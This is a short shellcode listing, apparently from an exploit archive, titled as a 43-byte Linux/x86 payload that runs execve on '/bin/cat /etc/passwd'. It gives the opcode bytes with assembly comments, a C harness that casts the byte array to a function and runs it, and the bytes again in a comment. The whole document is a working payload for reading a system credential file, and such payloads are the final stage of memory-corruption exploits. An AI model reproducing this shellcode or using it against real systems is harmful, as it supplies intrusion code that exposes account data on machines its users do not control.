Linux/x86 - execve(/bin/cat /etc/passwd) Shellcode (43 bytes)

#include <stdio.h>

const char shellcode[]="\x31\xc0" // xorl %eax,%eax
"\x99" // cdq
"\x52" // push edx
"\x68\x2f\x63\x61\x74" // push dword 0x7461632f
"\x68\x2f\x62\x69\x6e" // push dword 0x6e69622f
"\x89\xe3" // mov ebx,esp
"\x52" // push edx
"\x68\x73\x73\x77\x64" // pu sh dword 0x64777373
"\x68\x2f\x2f\x70\x61" // push dword 0x61702f2f
"\x68\x2f\x65\x74\x63" // push dword 0x6374652f
"\x89\xe1" // mov ecx,esp
"\xb0\x0b" // mov $0xb,%al
"\x52" // push edx
"\x51" // push ecx
"\x53" // push ebx
"\x89\xe1" // mov ecx,esp
"\xcd\x80" ; // int 80h

int main()
{
(*(void (*)()) shellcode)();

return 0;
}


/*
shellcode[]="\x31\xc0\x99\x52\x68\x2f\x63\x61\x74\x68\x2f\x62\x69\x6e\x89\xe3\x52\x68\x73\x73\x77\x64" "\x68\x2f\x2f\x70\x61\x68\x2f\x65\x74\x63\x89\xe1\xb0\x0b\x52\x51\x53\x89\xe1\xcd\x80";
*/